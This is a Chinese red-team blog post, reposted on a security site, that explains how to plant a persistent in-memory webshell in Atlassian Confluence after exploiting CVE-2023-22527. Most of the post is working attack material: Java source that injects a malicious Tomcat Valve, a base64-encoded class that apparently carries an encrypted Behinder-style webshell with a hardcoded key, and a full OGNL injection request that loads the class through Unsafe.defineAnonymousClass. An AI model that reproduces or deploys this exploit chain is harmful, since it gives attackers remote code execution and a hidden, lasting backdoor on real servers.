Confluence 内存马解析

admin 2024年1月31日21:40:56评论33 views字数 12664阅读42分12秒阅读模式

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 前言

想必过年前各位师傅都已经闲下来,数着日子过年了。最近朋友圈已经被帕鲁刷屏了,相比之下,安全圈最近的顶流一定是CVE-2023-22527了吧,随着漏洞poc的披露,大家也已经会用放出来的poc在响应包拿到命令回显了。但是对于一个RT来说,这个shell很难进一步利用,confluence用户的权限很低,所以需要注入内存马再进行进一步的操作。

0x02 内存马分析

和常规的内存马一样,我们需要解决的是回显问题和如何将class加载进去。由于confluence使用的是高版本JDK我们无法直接使用当前线程的contextClassLoader去反射调用defineClass方法,那么如何加载恶意类早在CVE-2021-26084这个漏洞的时候已经有师傅提出了,在JDK9-11中借助unsafe类中的defineAnonymousClass方法。

至于回显,我们参考https://xz.aliyun.com/t/9914这遍文章,利用Acceptor的线程获取上下文的方式可以获取。

0x03 defineAnonymousClass用法

 Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。

defineAnonymousClass 方法可以创建一个不被虚拟机以及系统字典所知的类。

public Class defineAnonymousClass(Class hostClass, byte[] data, Object[] cpPatches) {                if (hostClass == null || data == null) {                    throw new NullPointerException();                }                if (hostClass.isArray() || hostClass.isPrimitive()) {                    throw new IllegalArgumentException();                }                return defineAnonymousClass0(hostClass, data, cpPatches);            }

Confluence 内存马解析

0x04  Confluence可用冰蝎内存马
import java.io.IOException;            import java.lang.reflect.Constructor;            import java.lang.reflect.Field;            import java.lang.reflect.InvocationTargetException;            import java.lang.reflect.Method;            import java.util.ArrayList;            import java.util.Base64;            import java.util.HashMap;            import java.util.Iterator;            import org.apache.catalina.core.StandardContext;            import org.apache.catalina.core.StandardHost;            public class  ConfluenceMemshell {              String uri;              String serverName;              Object standardContext;              String valveString;              public Object getField(Object object, String fieldName) {                Class clazz = object.getClass();                while (clazz != Object.class) {                  try {                    Field declaredField = clazz.getDeclaredField(fieldName);                    declaredField.setAccessible(true);                    return declaredField.get(object);                  } catch (Exception var6) {                    clazz = clazz.getSuperclass();                  }                 }                 return null;              }              public  ConfluenceMemshell() throws Exception {                Class pipClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");                Object standardContext = getStandardContext();                Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");                Thread[] var5 = threads;                int var6 = threads.length;                for (int var7 = 0; var7 < var6; var7++) {                  Thread thread = var5[var7];                  if (thread != null && !thread.getName().contains("exec")) {                    Object target = getField(thread, "target");                    if (target instanceof Runnable) {                      Object object;                      try {                        object = getField(getField(getField(target, "this$0"), "handler"), "global");                      } catch (Exception var27) {}                      if (object != null) {                        ArrayList processors = (ArrayList)getField(object, "processors");                        Iterator iterator = processors.iterator();                        while (iterator.hasNext()) {                          Object next = iterator.next();                          Object req = getField(next, "req");                          Object serverPort = getField(req, "serverPort");                          if (!serverPort.equals(Integer.valueOf(-1))) {                            Object serverNameMB = getField(req, "serverNameMB");                            this.serverName = (String)getField(serverNameMB, "strValue");                            Object uriMB = getField(req, "decodedUriMB");                            this.uri = (String)getField(uriMB, "strValue");                            this.standardContext = getStandardContext();                            String valveString = "yv66vgAAADQBCAoAUQBvCABwCQBQAHEIAFQJAFAAcgcAcwoABgBvCgAGAHQKAAYAdQoAUAB2CQBQAHcIAHgKAHkAegoAIAB7CgAgAHwKAHkAfQcAfgoAeQB/CgARAIAKABEAgQoAIACCBwCDCACECgAfAIUIAIYKAB8AhwcAiAoAiQCKCgAhAIsIAIwHAI0HAI4HAI8HAJAIAJEKAB8AkggAkwgAlAoAlQCWBwCXCgAoAJgKAJUAmQoAlQCaCACbCACcCACdCACeCgCfAKAIAKEKACAAogoAnwCjCgBQAKQKAFAApQkAUACmBwCnBwCoCgCpAKoKAKkAqwoANwCsBwCtCACuCQCvALAKAB8AsQoAiQCyCgCvALMHALQKAEIAbwoAIQCiCgCfALUKALYAtwoAIAC4CgC5ALoKACEAdQoAQgC7CgBQALwKACAAvQoAuQC+CgBQAL8LAMAAwQcAwgcAwwEAAnhjAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEcGFzcwEAA21kNQEAB3BheWxvYWQBABFMamF2YS9sYW5nL0NsYXNzOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAI4HAIMBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAKRXhjZXB0aW9ucwEAAXgBAAcoW0JaKVtCBwDCBwDEAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYHAMUHAMYBAApTb3VyY2VGaWxlAQANcmViZXlvbmQuamF2YQwAWABZAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAUgBTDABUAFMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAxwDIDADJAMoMAFUAXAwAVQBTAQADTUQ1BwDLDADMAM0MAM4AzwwA0ADRDADSANMBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwA1ADPDABYANUMAMkA1gwA1wDKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQMANgA2QEACmdldERlY29kZXIMANoA2wEAE1tMamF2YS9sYW5nL09iamVjdDsHANwMAGkA3QwA3gDfAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAOAA4QEADGRlY29kZUJ1ZmZlcgEAA0FFUwcAxAwAzADiAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAWADjDADkAOUMAOYA5wEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUHAOgMANoAygEABFBPU1QMAOkA6gwA6wBcDABgAGEMAGMAZAwAVgBXAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAOwMAO0A7gwA7wDwDABYAPEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcA8gwA8wBXDAD0ANsMAPUA9gwA9wD4AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAPkA+gcA+wwA/AD9DAD+AP8HAQAMAQEBAgwBAwDPDABnAGgMAP4A1gwBBABZDAEFAQYHAQcMAGkAagEACHJlYmV5b25kAQAkb3JnL2FwYWNoZS9jYXRhbGluYS92YWx2ZXMvVmFsdmVCYXNlAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADGdldFBhcmFtZXRlcgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRSZXNw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";                            byte[] valveBytes = Base64.getDecoder().decode(valveString);                            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });                            defineClassMethod.setAccessible(true);                            Object valveClass = defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[] { valveBytes, Integer.valueOf(0), Integer.valueOf(valveBytes.length) });                            Class valve = (Class)valveClass;                            Constructor valveConstructor = valve.getConstructor(new Class[0]);                            valveConstructor.setAccessible(true);                            Object myValve = valveConstructor.newInstance(new Object[0]);                            Method getPiplineMethod = this.standardContext.getClass().getMethod("getPipeline", new Class[0]);                            Object piplineObject = getPiplineMethod.invoke(this.standardContext, (Object[])null);                            Method addValveMethod = piplineObject.getClass().getMethod("addValve", new Class[] { pipClass });                            addValveMethod.invoke(piplineObject, new Object[] { myValve });                            System.out.println("success");                          }                         }                       }                     }                   }                 }               }              public Object getStandardContext() throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {                Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");                String result = "";                Thread[] var4 = threads;                int var5 = threads.length;                for (int var6 = 0; var6 < var5; var6++) {                  Thread thread = var4[var6];                  if (thread != null) {                    Object target = getField(thread, "target");                    if (thread.getName().contains("StandardEngine")) {                      if (target != null)                        try {                          this.serverName = "localhost";                          HashMap children = (HashMap)getField(getField(target, "this$0"), "children");                          StandardHost standardHost = (StandardHost)children.get(this.serverName);                          children = (HashMap)getField(standardHost, "children");                          Iteratoriterator = children.keySet().iterator();                          while (iterator.hasNext()) {                            String contextKey = iterator.next();                            if (this.uri.startsWith(contextKey)) {                              StandardContext standardContext = (StandardContext)children.get(contextKey);                              return standardContext;                            }                           }                         } catch (Exception exception) {}                     } else if (thread.getName().contains("Acceptor") && thread.getName().contains("http")) {                      Object jioEndPoint = null;                      try {                        jioEndPoint = getField(target, "this$0");                      } catch (Exception exception) {}                      if (jioEndPoint == null)                        try {                          jioEndPoint = getField(target, "endpoint");                        } catch (Exception var17) {                          return null;                        }                        Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");                      Object engine = getField(service, "engine");                      Object children = getField(engine, "children");                      Method getMethod = children.getClass().getMethod("get", new Class[] { Object.class });                      Object standardHost = getMethod.invoke(children, new Object[] { "localhost" });                      HashMap standardHostChildren = (HashMap)getField(standardHost, "children");                      Object standardHostObject = standardHostChildren.get("");                      return standardHostObject;                    }                   }                 }                 return null;              }            }    
0x05 整合POC
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new+javax.script.ScriptEngineManager()).getEngineByName('js').eval(@org.apache.struts2.ServletActionContext@getRequest().getParameter("search"))&search=var+header=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().setHeader('X-Confluence-Response-Time','0539a0fd8c1b4a4184998ad4fc9ec8e6');var+data='恶意类(base64)';var+safe=java.lang.Class.forName('sun.misc.Unsafe');var+safeCon=safe.getDeclaredField('theUnsafe');safeCon.setAccessible(true);var+unSafe=safeCon.get(null);var+dataBytes=java.util.Base64.getDecoder().decode(data);var+mem=unSafe.defineAnonymousClass(java.io.File.class,dataBytes,null);mem.newInstance();

检测返回包中X-Confluence-Response-Time头是否为0539a0fd8c1b4a4184998ad4fc9ec8e6判断是否执行成功。

0x06

原文始发于微信公众号(Lambda小队):Confluence 内存马解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月31日21:40:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Confluence 内存马解析https://cn-sec.com/archives/2444811.html

发表评论

匿名网友 填写信息